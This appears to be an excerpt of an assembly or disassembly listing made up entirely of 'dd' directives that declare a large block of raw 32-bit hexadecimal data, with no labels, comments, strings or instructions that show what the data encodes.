		dd 219FB9CDh, 9E35807Eh, 82D09288h, 54D93Ah, 14A60AE4h
		dd 7E885B6h, 0DC0EFEAEh, 390DE61Dh, 0B40061F8h,	62EE827Ah
		dd 5532BBh, 0E0636A8Ch,	5F8B9FAEh, 8886EC18h, 5C44D220h
		dd 0D8133AC5h, 0C38200F5h, 308EFA96h, 6484B51Bh, 7B4CE038h
		dd 0D8A80FF2h, 0EAC0FD05h, 88D2E6A9h, 0E4E9DB06h, 50CE4Eh
		dd 638008BAh, 3D093682h, 69845900h, 0EB03071Fh,	66C181Ah
		dd 0AD02A9D4h, 0C592430Ch, 38A1106Ah, 0A3A3BD3h, 73279480h
		dd 69FFB070h, 419B1003h, 4A839Ch, 7FCD5C49h, 7C1DE8FDh
		dd 79AFD300h, 4ADB3280h, 0EE9F0087h, 57C66D16h,	7600E0C1h
		dd 0C678868h, 9CFE49h, 0C30681D2h, 7F5737CDh, 52690206h
		dd 29770Fh, 851C4F4Ch, 63BF25F5h, 815ED33h, 6A210064h
		dd 86C71C06h, 6DEE332Dh, 0CC5EED00h, 0B057506Fh, 0F8797ECAh
		dd 0C1550E94h, 38D865E3h, 0AC00BFEDh, 0DE5D7A2Ah, 717D6802h
		dd 0EEF7010Eh, 5072C532h, 7E2CD488h, 36AC30C0h,	1E385D45h
		dd 0F64B9B1h, 278FF668h, 0E8115C0Ch, 0C01B7F2h,	554CFB56h
		dd 89823DFh, 0C56840E4h, 6EB7EE00h, 0EFAFCBE1h,	5A77A7h
		dd 0DAF46F97h, 1B775437h, 0F1187A18h, 535608h, 0FF5101CFh
		dd 0B7AEDCE0h, 0E3D33Dh, 146A1BF3h, 0E96EC3h, 33246D60h
		dd 5458FA8Bh, 51C0B1DCh, 7D20C9Eh, 63E9F0C3h, 8B42089Fh
		dd 50172000h, 524B649Eh, 0D9F223h, 36C8848Ch, 0D4CD0254h
		dd 0FAA1CBFAh, 0F9C8592Fh, 1DCD701Ch, 10EBC8ACh, 3E1C192Dh
		dd 2AB9FDC4h, 0EA1477BAh, 78A813h, 9DB6B9ECh, 0C3D37459h
		dd 0AAE1660Dh, 788010BEh, 725CA42Fh, 0A3034125h, 62ED8DC0h
		dd 0D51C90F2h, 0BC6753A6h, 9D3019E2h, 0E3D801ABh, 0AEDED1D3h
		dd 0DC489152h, 1B7FF80h, 448C2356h, 0F700C8ECh,	0B0565BB7h
		dd 4B14ED6h, 77622C6Ah,	5F74C333h, 8B32480Ah, 27C0C4F4h
		dd 46D2269Eh, 0B432217h, 0A39E2E29h, 0F0565F00h, 7874FF57h
		dd 0E6F99C1Fh, 0B8546994h, 91EA8C13h, 0A629150Ah, 6B00B011h
		dd 49C1EC80h, 0EB10C0E6h, 0EA70601Eh, 0E0B7C600h, 29325414h
		dd 6498D0D0h, 8C40BCh, 98C7334Ah, 9192D13Ch, 0C0A2760Eh
		dd 1804C6E8h, 73710A78h, 9F01979h, 1C23789Fh, 98FC69D6h
		dd 1C084834h, 0C42DF582h, 7334065h, 0F21CF1Ch, 7CBB7A2Bh
		dd 70897E80h, 5F506306h, 0C72E8884h, 0EC00A9CEh, 0E55C75FCh
		dd 30747469h, 2D207031h, 0A70C9426h, 0E9575807h, 3CCB0035h
		dd 0EE4573E7h, 250048E0h, 2E49CDF6h, 6ED1C2E6h,	6306C8ECh
		dd 100696Ah, 0E4872C7Ah, 733795h, 0FE0C0F10h, 0D0AE2E8h
		dd 0DD746706h, 0C3C0185Ah, 79D4F9F8h, 32D587B8h, 3990C448h
		dd 0B2AD859Dh, 5FC01485h, 7B4DE97h, 0C3D01755h,	8445F4DDh
		dd 3A846B4h, 730E58E6h,	2056DE81h, 0A9A04075h, 0D2981254h
		dd 0AC501046h, 0C011523h, 0DF5F61Ch, 3720FE19h,	0B741C1Bh
		dd 6CCED6F5h, 9E3DF480h, 1300DE92h, 87507039h, 51AA91ECh
		dd 144284A0h, 9E2A30FDh, 0FD20B11h, 16804488h, 900E9E4Dh
		dd 10642442h, 0AEF2604h, 11E08869h, 94029F1Ah, 31DCEC4Dh
		dd 2A21103Ah, 65E1894h,	1208505Bh, 418E6781h, 728282E9h
		dd 44433121h, 1076023h,	0EC28940Bh, 88301824h, 9403232Ah
		dd 0AA9AE6FAh, 6FF00513h, 1864D992h, 6EC91028h,	0ADE680h
		dd 0EE08B3BCh, 0B7A7711Ah, 28F08A00h, 0F4DD7E6Ah, 0E32100E5h
		dd 2B41EBB3h, 2DF259BCh, 0EECD4C00h, 8469A988h,	6CB504EDh
		dd 11A661A0h, 638FC304h, 0E91000C9h, 2AC30275h,	233EDDD9h
		dd 0C2C58E8Ah, 0F9F7E001h, 3B8623Ch, 0F1055365h, 4DE01BA3h
		dd 6B00900Dh, 372FF244h, 28FC942h, 7B04FD51h, 31C07FD1h
		dd 0B50066CAh, 1FB06854h, 39BBB782h, 2880D924h,	69FC39F8h
		dd 8C0040C0h, 7D6A276Eh
		dd 0E0BCE992h, 0F5BE00BDh, 0A92D7104h, 0D1006C15h, 45DD1627h
		dd 849C47h, 75F01A18h, 5769585h, 340EEE00h, 0BAC4B34Ch
		dd 1FF50090h, 7ABD8D67h, 0BE0075A3h, 9B90120h, 0F420DC3h
		dd 79727E4Bh, 908397C9h, 40D6AAC9h, 6F8E8B00h, 36E96728h
		dd 201F0010h, 0E65FD79h, 0AC0EBDC4h, 209987DAh,	8D0C98E9h
		dd 0E6D30689h, 10515A5Eh, 7D003878h, 3A6664B4h,	2A1EB0h
		dd 0CFB3FFD5h, 0BFB72FC2h, 756CF438h, 64AA0F00h, 46C8E878h
		dd 0DDB60053h, 0EECA54F2h, 0AD0007CFh, 34D97B9Dh, 7527A4B8h
		dd 7D0800FDh, 0BC7A179Eh, 7700E93Bh, 65508948h,	37ADB7h
		dd 0BA67336Eh, 0F21DA306h, 0DF977E00h, 120B30AAh, 1810904Bh
		dd 60869B53h, 150EBDFDh, 0A0E223F5h, 87DB4EC3h,	2B3A0498h
		dd 80937E2Fh, 90376D12h, 0B7EF842Ch, 32F7003Eh,	74E79236h
		dd 22663A2Ah, 0A64C8682h, 2260689Ah, 62000BA8h,	8D072051h
		dd 2E0C32Ah, 0F7BE6031h, 0A88068CAh, 32A98129h,	0ED76DD00h
		dd 2621491Ch, 1A300397h, 887BD2A4h, 14C2C9C0h, 60801227h
		dd 14445E9Fh, 0D8F38616h, 0C8C0E600h, 2A281D85h, 9BF67C1Fh
		dd 90E1B04Ah, 8D605500h, 0F2D94A19h, 66A1002Ch,	0C3C07D0Eh
		dd 8098C706h, 17356200h, 5138631Eh, 79F2E39h, 0BEF30694h
		dd 7D00A81Fh, 1359880h,	0D93DFB1h, 2B7E9408h, 3E4FC880h
		dd 455C9C00h, 227DBE1Bh, 2D820FAAh, 0F9660A93h,	5206282Fh
		dd 1D3A8D5Dh, 0A27F0211h, 8643736Bh, 0ECD4C441h, 0CD001B09h
		dd 0D1F8B94h, 0EB14DE4h, 70A42436h, 23098AA0h, 0BC007BD0h
		dd 0DBF2AFB8h, 0B482EBh, 386C5E87h, 0ECCB77FCh,	22920E00h
		dd 5E24B6Eh, 0A88E0211h, 0B2B7F85Eh, 0A2CC8080h, 0A01ED220h
		dd 88D40671h, 789D03A0h, 8091A301h, 936536h, 6C830A4h
		dd 8C8FCEF7h, 24C5BD03h, 990449h, 70FB8B48h, 441021C4h
		dd 7C385400h, 86743279h, 38854DDBh, 0BB677800h,	2DE088D8h
		dd 59447707h, 0C027427Bh, 553299C0h, 0B02C0078h, 76FFC1E8h
		dd 7F0351E1h, 613E4B33h, 0D61DB948h, 107EC4h, 3F53E613h
		dd 6BBBCA86h, 0FBEE2A00h, 6D1D39CBh, 34F90088h,	9157ACAEh
		dd 75000F7Bh, 73C26E01h, 0FA650CDDh, 58F50FB6h,	0F4790DAh
		dd 1C68D00Eh, 92006645h, 0F56CFC1Bh, 0AFD9E6h, 60C99C63h
		dd 3CF0D88Eh, 52C7DC01h, 3869326Fh, 72BCE4h, 8A830F12h
		dd 0D989D10Ah, 77B96D00h, 0CF139BCCh, 0FEAECAFh, 99B2DF94h
		dd 597D0A63h, 2F6BD19Fh, 0C1288063h, 0C09925Eh,	9298B9h
		dd 0C89669FFh, 2E7A7E8Dh, 0CF4A1A00h, 0E675F73Ah, 0F9DFEB9h
		dd 8FFF101Ch, 2E517340h, 0E9001756h, 0BDDDEA61h, 8A067Dh
		dd 4CDC8D7Bh, 9B68E774h, 3EDD93Dh, 55B38F82h, 0CD91880Fh
		dd 0FED2010Ah, 0CAFBE471h, 675840A1h, 0BA00632Eh, 96294921h
		dd 1E148Ch, 83E9F5E0h, 74BF9C0Ch, 17819805h, 91C0CC58h
		dd 7CB41Ch, 76948FA5h, 0B7188812h, 39268B00h, 0CA062ED0h
		dd 6F7F00B2h, 7C08C2B8h, 2001A5Ah, 68E6E5F5h, 474463h
		dd 0A24F564Ah, 2F4B7ECCh, 34517700h, 0B3356404h, 59073F40h
		dd 24014048h, 0B79AF79Dh, 7AA7D093h, 5918CD60h,	60193134h
		dd 9B2E2943h, 2003E24Eh, 4F67E912h, 0C3D8C8CAh,	110F0086h
		dd 0BA57C666h, 0CF00E40Ah, 152E2AE1h, 18894576h, 493F7356h
		dd 103A022Fh, 0BD9500A5h, 4AF8740Bh, 0FBC097Ch,	0EC00D337h
		dd 2505D1CFh, 0BFF3CB07h, 0CDD0C89Eh, 0FE62C277h, 82A600FDh
		dd 0F583C166h, 5E0034AAh, 26F83115h, 2A6FFCh, 4A46B1A8h
		dd 8BB937C7h, 0E054FA38h, 0F1D20DB0h, 14D918F4h, 0E2DB90CBh
		dd 0C1989300h, 445755Ah, 0B9EC0072h, 7965CE59h,	7A0BABBCh
		dd 2017B0E3h, 2B2639FCh, 0A481C58h, 5C3BD312h, 0EA27C028h
		dd 0C6FC8FCFh, 0C2938503h, 0F1442AF3h, 9BF49A91h, 25F6028Ah
		dd 0B34FA115h, 0B3E3BC87h, 0F880AE77h, 0F49CED5h, 0E0EA2A2Ch
		dd 0FB88A509h, 3A3A00BFh, 0E5A7B6h, 2449E2D0h, 18917221h
		dd 6D45C4Ch, 318326AEh,	446400E8h, 0A2511319h, 0BA00D8DDh
		dd 549AA0C6h, 1F8EA9EDh, 4AE783h, 0E28B9B39h, 0FC4CA2FFh
		dd 813AD4h, 0EF587AD4h,	3C7F5256h, 4B0064F1h, 186F9E35h
		dd 0E40FC95Bh, 54D10139h, 761302D8h, 90A46320h,	7B048h
		dd 1FF4DA0Ah, 0D9273ED2h, 0D0B61030h, 33BF2BEh,	12F8576Dh
		dd 4AF887BDh, 790085D7h, 0DF49A044h, 76484C9h, 57E3AD5Ah
		dd 0B7AB703Dh, 0B4000511h, 988A46F6h, 0C377FEh,	0FC9E6F79h
		dd 883EF9BBh, 98DE4AE2h, 0AAE60980h, 450ECAh, 0B196E028h
		dd 1D825D02h, 6188110Ah, 0DB0098E2h, 0D99D8BE4h, 0B89875h
		dd 0BB534357h, 845B9EFCh, 0FC11A024h, 134AC072h, 0BFD200C9h
		dd 746F4D7Dh, 0A050F347h, 3000CF0h, 43FEF7ACh, 6B1EE2h
		dd 34A6EBD6h, 4ECC8985h, 0F999DE00h, 125C8C21h,	7E41903Fh
		dd 0BC600088h, 0DDB0EFEAh, 4A003EF3h, 15F0B36Eh, 0E2134B10h
		dd 9D89C0DEh, 568291A0h, 5E9CA800h, 0E120856Bh,	0CA3F00DDh
		dd 0EA08645Ah, 412C109Dh, 4C8000D3h, 0F93E50FBh, 0CBDF00B7h
		dd 0AFE0A793h, 291DF433h, 4B80B4F5h, 60B7C732h,	8368C052h
		dd 557E8CCEh, 7382C500h, 1A8E7606h, 0DC860179h,	0ECFC4C5Dh
		dd 0BE8C4F1h, 416EC400h, 0C028907h, 0A1310064h,	0C6825EAAh
		dd 0A4906C73h, 0EAA05F7Bh, 0E200B7CEh, 0F6C48ECBh, 7D4DFD2h
		dd 0C67F2BA6h, 8D81BC42h, 24655101h, 0F0C9DD11h, 0E1BA40EEh
		dd 0F234090Ah, 9783E23Fh, 2DD8C10Fh, 13065437h,	777BA6EDh
		dd 0BB725018h, 10470A57h, 0D0B540h, 0E01C8390h,	122CD0C0h
		dd 19001CE4h, 0BF9418B6h, 77307FF8h, 24727759h,	90F362h
		dd 5B03C41h, 0FA002C71h, 0A56D096Bh, 7E42687Ah,	0DD291CF9h
		dd 4955C1D9h, 70036AC8h, 32006B00h, 130A4A8Fh, 1D5DA7E3h
		dd 109189h, 0CBAB47CFh,	60C0F286h, 15E3A2F7h, 29BC001Fh
		dd 4D972887h, 0CC1C7BB3h, 0AC8CF683h, 0C1FCDDh,	11CD1D1Bh
		dd 71266935h, 0FC00147Eh, 6F8DC6F9h, 0EC7C09h, 8782E2F0h
		dd 78E12D69h, 0E6C43F02h, 6254A9F5h, 61A26098h,	3DA300F1h
		dd 7D4DA474h, 0CE00603Ch, 3A21AD0h, 0F413B832h,	0BBEEE2h
		dd 0D61899D4h, 0ACA8FFE1h, 0CA96BC00h, 6D833DE5h, 84B0C2h
		dd 0C85B2B3Ch, 0E46B4FF3h, 4DA7EF00h, 0E9E140F9h, 99CC0F1Ah
		dd 0D6C604Eh, 0C500E629h, 90BBD7D9h, 7B8A969Ah,	1B420091h
		dd 0AEC7EB5Ah, 3C00C00Ch, 327186DFh, 70C6B467h,	22AC001Ch
		dd 3D3BAA89h, 0DF00430Ah, 5B7C172Fh, 0B902CEBh,	0A31B97FDh
		dd 0CBBEE700h, 46F46BBAh, 0DEF2A500h, 0D0F17D38h, 241805C5h
		dd 0C0EFC713h, 8CD3A3D4h, 6E22660Ch, 48ED1825h,	3100ABB0h
		dd 4E36D161h, 353CBFA3h, 0A571818Dh, 0E3B97B66h, 0B8FDDD20h
		dd 0F1BD007Fh, 5728F489h, 4C018116h, 3F17BA93h,	0E7FBC84Eh
		dd 0B2441DE7h, 0AE333391h, 58A7C8h, 0FDB46022h,	0D2AA7547h
		dd 5FE15102h, 86B64EC0h, 5C2021BDh, 9C3AF876h, 0A6DB8D0Ah
		dd 0E3BC06A4h, 7C0A26AAh, 0A05CAB8Eh, 36E82301h, 38804701h
		dd 81104C16h, 6C0E3946h, 806DABDFh, 0C0FEBD76h,	0F0686119h
		dd 0CC2DDDE4h, 10C16BB8h, 6E2EF8Fh, 8460A8C5h, 0E8A00C0Eh
		dd 0E47837CDh, 5831E71Eh, 8D7800BEh, 2DAF3BB6h,	92A2069Ch
		dd 28B7E66Ah, 643580Bh,	0D2D280EBh, 2F254Ch, 5A2CBC87h
		dd 0A97D9E42h, 23F05E00h, 324D8535h, 0BA260061h, 0A090C49Bh
		dd 0FE015284h, 57AEB5FCh
		dd 0EEF03C4Ah, 7F60067h, 0D2648E9Fh, 8F1F0AF3h,	15CC21FEh
		dd 30F78FAh, 4BFBB310h,	0F1B097E7h, 9600EECDh, 471E2381h
		dd 0F87C3148h, 925C05C7h, 0C37FC1C4h, 3E80BF15h, 15008A1Dh
		dd 0E7F78214h, 62A375h,	6DF4BEDCh, 19F27FFEh, 0F1411100h
		dd 0FDB67A09h, 76CD240Dh, 1579808Fh, 0AF98CFBFh, 0A4943Dh
		dd 4A86AE54h, 771041Dh,	0B9C1DC1Ah, 64D20E1h, 8B00BA4Ch
		dd 3F325FFDh, 268C512Eh, 26187E53h, 3B150F7Fh, 0C3CEB2E4h
		dd 17E807B4h, 29280E40h, 0BE3EF04Ch, 0E8830091h, 0DE8A3D44h
		dd 0C12A00B8h, 9E869A9Ch, 0BC00F48Dh, 0C5126A7Dh, 3D84CA75h
		dd 7182EBF6h, 570D3991h, 67854E0h, 1C156001h, 1B795136h
		dd 282094EDh, 6F87009Fh, 9976C638h, 0BE2C397Ch,	0B009C78h
		dd 0E3D20902h, 0D74F2EEFh, 92BC01F0h, 0E0DF87F0h, 0F2012047h
		dd 46698154h, 0D460D02Ah, 3DC4B80Bh, 0F80FC7Dh,	33E79288h
		dd 0A03E5545h, 0EB3AE398h, 8086D0ABh, 598C30ECh, 0CE2DE238h
		dd 0BBE4600h, 621BCAD2h, 72520129h, 48C73C38h, 0D3DCD07Ah
		dd 0CEB41203h, 0F0B5BD23h, 4F0E15h, 2B8E656Dh, 0DEC87D0Fh
		dd 0A8C1CB07h, 0D10055E1h, 7270AE7Bh, 5A630C42h, 9A60D637h
		dd 8F543C00h, 530CD18Ah, 126B00CBh, 0ADE2A0CCh,	9F63293Dh
		dd 0C83E0128h, 306F6020h, 0DE887BC6h, 3F000DB1h, 843463DBh
		dd 7D8A6247h, 187E3064h, 81EEF139h, 1FCBF503h, 444AFBh
		dd 0BD0D3D19h, 334C2E9Eh, 4B220200h, 0F83E090Eh, 81EFEEC2h
		dd 74582057h, 0C4141300h, 3E96A75Ch, 0D2F4F110h, 0E8D40F9Ch
		dd 0B8C01141h, 2567690Ah, 3CB039FAh, 6BC21000h,	28B82CDh
		dd 1980E5DFh, 0FFB1DD61h, 1E00CA93h, 4D5AB61Ah,	17FD54h
		dd 27D02C8Ch, 850E6265h, 0BDB9A407h, 0EE62B709h, 398502Bh
		dd 4C374507h, 853E1Eh, 0D4ABF4DCh, 862EBA0Ch, 0F701ACB2h
		dd 0ED08A6D2h, 84009428h, 5D524ECAh, 0A500603Eh, 2B47C03Ah
		dd 3C4488Ah, 2D3D4118h,	50009E0Dh, 9F60BCC5h, 570E66h
		dd 0A7643936h, 853F65EEh, 8FE6C101h, 0E7132B40h, 0C86020h
		dd 0D6F8CCE3h, 16B09F61h, 0A74C7300h, 0ACA268C1h, 71A90081h
		dd 0E427535Ah, 0E01D91A8h, 0C5413E5Fh, 0A9E89DB1h, 12ADD8CFh
		dd 885E0052h, 144E700Ch, 35B027C7h, 6100B87Eh, 731B668Bh
		dd 0B0451F85h, 0D30A3F60h, 834F06F3h, 90AD53EBh, 0D52C0800h
		dd 0B4F06155h, 0D1481830h, 7DA051FDh, 0DB9B0A13h, 0DC8338C0h
		dd 2FA405D5h, 0B0315034h, 0B401D024h, 0DF8AE173h, 3BDDDAEBh
		dd 0F66D7C30h, 5DBB120Fh, 45F60CF5h, 44B08A70h,	0DCA30A00h
		dd 727E4899h, 5D82009Bh, 5F257DB0h, 87071C1Dh, 130C53CEh
		dd 0E8C0B895h, 9508BB9h, 86823E0Ah, 0DB0F2C01h,	490E9DE7h
		dd 6A87E6C0h, 33F9579h,	0AA28E915h, 409743C7h, 0FAEE04F6h
		dd 894452Ch, 6E126304h,	0D6DC1340h, 303BA46h, 6D0EAFD3h
		dd 4759B0CCh, 74080044h, 2E235140h, 8F1397D5h, 8500B1F6h
		dd 0B52A892Bh, 0EF930CDFh, 5BA0074Bh, 0B2017E90h, 0A27AAEAh
		dd 0FB3025E4h, 0C9E200EEh, 4EF4431Fh, 270646Fh,	9610E000h
		dd 0AD7BA73Bh, 0D8C63DD0h, 0C825B500h, 0D71218ABh, 0BA915100h
		dd 0AE8844C3h, 0ED8E28E5h, 0D5F800A4h, 76CB7E9Ah, 0D81F221Dh
		dd 4D807D01h, 0AFDB5AD1h, 0D3EC9D2h, 3504B44Ch,	0C8DC8C6Ah
		dd 99F14B0h, 0D872EE82h, 8B3F1868h, 0AE22E11Dh,	7F175601h
		dd 7AF8DC08h, 7877BC4h,	0FCAF9373h, 0B73D5327h,	0C5D1B4E1h
		dd 65F7D0F9h, 83143A98h, 80100722h, 0DBEB290Ch,	890F00D8h
		dd 1A5005A1h, 4200B658h, 46B5F309h, 97D69Eh, 7E5BFBBBh
		dd 0E887F1B7h, 4AB22900h, 58C89A03h, 48176B89h,	3A42D80Eh
		dd 0C87A5BEEh, 0F3CA2111h, 0C5F1E500h, 7D5C8CE9h, 0C666BF03h
		dd 0D84D59F8h, 4C82AFA0h, 0B73F50A8h, 0D638C9B1h, 876AE8BCh
		dd 0B2FE8300h, 0C247954Fh, 148600AAh, 12936373h, 409E608h
		dd 8081C0EAh, 0D331CABEh, 134202C3h, 0F55E46F9h, 1140C4C2h
		dd 0BAF87194h, 4C41ED4Bh, 0D62CC701h, 51862880h, 285B8294h
		dd 0FE0B0600h, 7AB01945h, 0D320C0D7h, 0ECB445Ch, 0DCC59400h
		dd 34DB997Ch, 30B501FBh, 0F1B031C9h, 0BC02D8AFh, 249F2E00h
		dd 0C1892676h, 723B0082h, 18B03CD1h, 0BA786A54h, 0E14D0406h
		dd 609DEEh, 3AC86847h, 0A5D7838Bh, 45B193A0h, 0BBEE6507h
		dd 0EFD36243h, 0CE1888ADh, 99CD0FBDh, 0DE80D2D5h, 7732CF47h
		dd 74122007h, 0D0335CEDh, 0F0ABC36Fh, 0FFD316h,	8CB34B37h
		dd 0C082D8D9h, 5A4DE40Fh, 0E923637Fh, 0EF3BC8D7h, 6A780Eh
		dd 3C27FB29h, 201EC2Bh,	703DE8E4h, 0A37280FAh, 0D7B3ADAEh
		dd 557E0C98h, 0B4C0C5D3h, 3F76BB00h, 9ADCF266h,	15CE083h
		dd 1A4794DEh, 80CD1F73h, 2D8B2CCh, 38F9FB6h, 332B5E68h
		dd 99929EEAh, 0D601A8F8h, 0E560427Bh, 8C24EB4Eh, 441A0764h
		dd 0C21627DCh, 20C23C3Dh, 53027C58h, 0C71F8B9Ah, 0C049E2ABh
		dd 0D01AB0h, 0B5C07FB6h, 394191BDh, 0C20C07EAh,	119DC3B3h
		dd 0C8B10078h, 230FBE5Eh, 9000012Fh, 0A30E6BA5h, 0E6A67A52h
		dd 11960469h, 751A80h, 51C28159h, 0B2F812E2h, 2004A12Dh
		dd 0C1CE5D31h, 79CDA3F6h, 6D0801E9h, 8C6C0344h,	60CD8E2h
		dd 375A127h, 25BC27Ch, 81F02860h, 54439DFAh, 8DA152E0h
		dd 85C058DFh, 7D24EEC9h, 0CD6505EFh, 0B5E17Ah, 9651B03Ch
		dd 0C16FEACCh, 68C08031h, 1EE9E67h, 0AFD4A31Dh,	0E470C686h
		dd 0FD00CD61h, 85D8624Dh, 0EEA969h, 0E9EAC184h,	6889179h
		dd 0ED721807h, 4080AD4Ch, 3C6EF6F5h, 9402A039h,	8FEAA7B5h
		dd 0B12EC760h, 6280CA00h, 0EB6714DCh, 0F360E4Eh, 0A2E11FBFh
		dd 60ED83E0h, 0E1007DC2h, 755DFC1Eh, 62D11Ah, 4B40F74Eh
		dd 64026AD9h, 128A6C00h, 0BEFAAB34h, 6F6903DCh,	4ECD365Dh
		dd 0FB9575B8h, 0D50379FEh, 4881BFF2h, 1CE38D6h,	0E205AF80h
		dd 86D9B5D0h, 8700E0FCh, 4C7E5840h, 157E35Eh, 843BC9AAh
		dd 50349144h, 0BB7A099Ch, 2952CA01h, 41E97581h,	80DD0897h
		dd 0BB716EB4h, 4F78F800h, 9F0A620Ch, 2CF10176h,	0B4C5752Fh
		dd 0A4B85080h, 1000E84Eh, 2D52790Eh, 0E8552105h, 4321C1B3h
		dd 0C47AE846h, 0B2304185h, 0D8FA19B1h, 0BF230084h, 15301D10h
		dd 0E70077E0h, 0E3EE41CCh, 61A5797h, 0B62C0776h, 0A6008027h
		dd 0EAFA8D3Eh, 0EC52FDh, 0B0106C74h, 0B54F6339h, 9934E137h
		dd 0F1C02F0h, 0FC8C06AEh, 30448E8Ah, 72F0AF00h,	0A4DAB33Eh
		dd 8CEB0162h, 75272261h, 11204F4Bh, 0F1815991h,	1541C4Ah
		dd 0B04EE9E2h, 0A2CEE088h, 5687ED68h, 7FC800B4h, 8E9CF9A8h
		dd 905F2801h, 20D64079h, 0F1B0097Ah, 0FE635780h, 3A18D441h
		dd 0C9A0796Ch, 7A89276h, 339D9427h, 11802F1Ch, 6F5EAB9Eh
		dd 76483Bh, 2D4B83FCh, 49B07D61h, 2E0AD8B9h, 0C0E83975h
		dd 0E4CE972h, 91555921h, 4A4700BDh, 0BFB09CE8h,	0CDD0F65h
		dd 0A5C0F360h, 481A7413h, 0C528F000h, 38A07B11h, 0F57E1A84h
		dd 9404F921h, 0BBF06748h, 4389513Eh, 7A282296h,	13F8B7AAh
		dd 6E039C00h, 0A094534Fh, 50397034h, 526C0A8h, 84DAF919h
		dd 0C0880671h, 0E50061DFh, 5575DBB4h, 9438669h,	7AEC63A9h
		dd 0C38114A0h, 0E91D7FF3h, 0F8CCD0C5h, 0A9B90835h, 0F3C43BC8h
		dd 379500A2h, 0F22551DBh, 0D84871E2h, 80F50204h, 406A7582h
		dd 0C8C5AD0Ch, 638EBBE8h, 0E8695BEDh, 1B17FD4h,	6109C38h
		dd 0D01AC4CDh, 0AD147C12h
		dd 88C47546h, 0E973C038h, 71210E4Bh, 0BF9152h, 0C1E84746h
		dd 0CA4C07Ah, 1F25934Ch, 72188D58h, 2F908636h, 31348087h
		dd 98A37C74h, 503A2BE1h, 0F0325CC0h, 579C7D50h,	3924260Ch
		dd 86039855h, 0BCC4F8A5h, 204D8A60h, 4803977Eh,	866429C6h
		dd 7F582AC9h, 0E1623FC0h, 180288E6h, 70918B45h,	0E9708037h
		dd 91490E42h, 4845C048h, 8D0008E8h, 9511C86Dh, 53B29F24h
		dd 0BCB22887h, 0EDC130h, 0D63CB71h, 9E36FA04h, 6CEC7600h
		dd 3E347885h, 64464984h, 0CCBB6480h, 81421952h,	0BB7378C0h
		dd 74006E5Dh, 44D411D8h, 61B24C07h, 6B4179B4h, 8909F055h
		dd 995ADB00h, 70A9B39Dh, 0B6AD1E6Ch, 0B2C5C402h, 1A64818Ch
		dd 83E0CEDh, 3DE97EF3h,	3800B1CFh, 0D3DDF336h, 0EE5899ACh
		dd 654B80D4h, 0FA8081h,	0F4D8A7DAh, 7E01E0E9h, 6820AB6Ch
		dd 2EC4367h, 0E97BF4CFh, 10B23125h, 1EF3C737h, 3F339C94h
		dd 0FCBC7580h, 2415E806h, 30849B24h, 0AB956300h, 4DF4CB33h
		dd 103A5C27h, 87C27516h, 410680A8h, 0EF0770C0h,	275DA078h
		dd 0C07E086Ch, 0C0196731h, 0B805F992h, 2E8F7A12h, 0AEA9C440h
		dd 185108CBh, 3107E0B4h, 0C4AADA8Fh, 14FFDB00h,	0C301D9B0h
		dd 7FD307A2h, 0DE715235h, 0A0124445h, 4E5A6400h, 5501DF23h
		dd 202380CCh, 6A30B0A2h, 9C87DBAh, 0C4F0C5BFh, 0A4617C00h
		dd 0F2307F65h, 97EAB963h, 2FC70085h, 3621FA7Dh,	0F2317EECh
		dd 6172173h, 48FD69FCh,	0A1889C63h, 6BD25710h, 0DC290020h
		dd 9FFD5299h, 671207FFh, 31CC07D2h, 3476543Ah, 6A41CDA8h
		dd 482C8048h, 0E0C048B5h, 13CA46E2h, 0DF488C9Ah, 8CB3BC1Ch
		dd 8C0098FAh, 80957F82h, 0D4754BDFh, 0BA8C4C41h, 0B300F831h
		dd 4761167h, 0A1BD5DECh, 31815C84h, 0E0A02ECBh,	76C0324Ah
		dd 0CCD9FA3Eh, 1D7372D4h, 2DF190Ch, 8E2217Bh, 138749FAh
		dd 0FC39768Ah, 4171D818h, 0B9C501F0h, 0CB38A31Ch, 611989FCh
		dd 0CDB887C7h, 68822D94h, 0DF032B1Bh, 30248142h, 341B2804h
		dd 0D399620h, 0D1367E57h, 0DB842420h, 758194F8h, 0E2BC220Dh
		dd 0C4C030B1h, 5C1CE27Ah, 0AE15A44Ah, 549A2CD0h, 751393BEh
		dd 0B8008C7Bh, 0C6D6A05Fh, 8C9175DCh, 63ED1E88h, 0E9B9F4CAh
		dd 8014331Dh, 0C5F3C234h, 0F29E0F48h, 32A10CD6h, 41A9D1EDh
		dd 0CEC6428h, 78F30EC0h, 0B030CDE9h, 0F3383Ah, 2E46B94Bh
		dd 230F2DAFh, 524D5601h, 0DE769FD2h, 0EC606025h, 6E242032h
		dd 3FE0314Ah, 5B140071h, 51F6709Eh, 94B2204Ah, 21EAE009h
		dd 0B50C03B0h, 694EC9DAh, 0FAFCF0h, 6E7A6A8Eh, 1744A0A4h
		dd 0F4198771h, 517025AEh, 0C0C6ECh, 0F18CFAABh,	61CCB4B1h
		dd 923D2F01h, 68AAE2FCh, 4AB54083h, 58005AE6h, 0EEB4BC82h
		dd 0A4D9974h, 68A9DC7Dh, 0F4CCC084h, 2D4CE964h,	0C436E038h
		dd 2E4228F3h, 283000B1h, 0D2D704E2h, 0B4132C70h, 0B83FC0DDh
		dd 93030523h, 125BAE32h, 0F8B64C0h, 255DD128h, 599405h
		dd 0FE6F7D28h, 0B014A1E2h, 0AC64DFE3h, 0A64375h, 544C7859h
		dd 557128h, 0EC21A7C2h,	0A85EA5E8h, 2CC55C2Bh, 51EE58h
		dd 72922561h, 0FA6FB72Ah, 0B399EA14h, 116C00F4h, 51C52960h
		dd 0D090CDh, 1C7F8D84h,	0A1E9E370h, 0A5D8020h, 0DA5AF40Dh
		dd 0A5FB00F8h, 38AA3546h, 0C0CA9B0Eh, 622C0344h, 0A62001FEh
		dd 3971B33Dh, 11204EA4h, 4881B9E7h, 706912FCh, 4090F13Ch
		dd 4F76A8B8h, 726C1315h, 0C01280E0h, 8C40EE3Bh,	0E340344h
		dd 6F67C76Ah, 0C22C0D41h, 3F7884D1h, 0F090C9B1h, 1D2622CEh
		dd 80E18125h, 8AD435Ch,	0C300661Fh, 6888677Eh, 411523h
		dd 74833D49h, 84401D64h, 0D629DC90h, 9400C456h,	0F4C26C0Eh
		dd 68DD6016h, 3D683439h, 84B44403h, 402FA24h, 0AC7DADF9h
		dd 0EEF107AFh, 9779283h, 9A2C07E8h, 0E0A6E021h,	4742202h
		dd 6B78F2FCh, 4A1CA080h, 7E6F7FF4h, 0AF360585h,	9277E432h
		dd 7844C45Ch, 0F4492D06h, 9829FF3Fh, 5C9B2460h,	0AD7101BCh
		dd 4284425Eh, 0ACC1CFF8h, 475E5B0h, 0C4B41C32h,	454400B8h
